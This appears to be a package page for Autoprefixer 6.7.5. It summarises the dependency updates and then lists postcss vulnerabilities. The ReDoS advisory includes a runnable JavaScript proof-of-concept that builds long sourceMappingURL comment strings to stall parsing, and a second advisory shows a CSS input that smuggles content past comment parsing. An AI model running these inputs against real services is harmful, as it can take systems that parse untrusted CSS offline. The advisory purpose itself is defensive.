Autoprefixer version 6.7.5 introduces subtle but important improvements over its predecessor, 6.7.4, making it a worthwhile update for developers relying on automated vendor prefixing in their CSS workflows. Both versions share the core functionality of parsing CSS and adding vendor prefixes based on data from the "Can I Use" website, ensuring compatibility across different browsers. The primary difference lies in the updated dependencies. Version 6.7.5 utilizes postcss version ^5.2.15, slightly newer than the ^5.2.14 used in 6.7.4. This update to PostCSS, a powerful CSS processing tool, likely incorporates bug fixes and performance enhancements, potentially leading to faster and more reliable CSS parsing. Furthermore, browserslist is updated from ^1.7.4 to ^1.7.5, meaning that the tool used to select browser targets for autoprefixing has been updated. This signifies improved browser targeting capabilities, ensuring more accurate and relevant prefixing based on the latest browser usage statistics. With these updates, particularly the enhancements in PostCSS, developers can expect a smoother experience and more precise vendor prefixing, ultimately saving time and improving cross-browser compatibility. Autoprefixer continues to offer a robust solution for managing vendor prefixes, and the incremental upgrades in version 6.7.5 solidify its position as a valuable asset in modern web development. Don't hesitate to keep your dependencies up to date for the best performance.
All the vulnerabilities related to the version 6.7.5 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.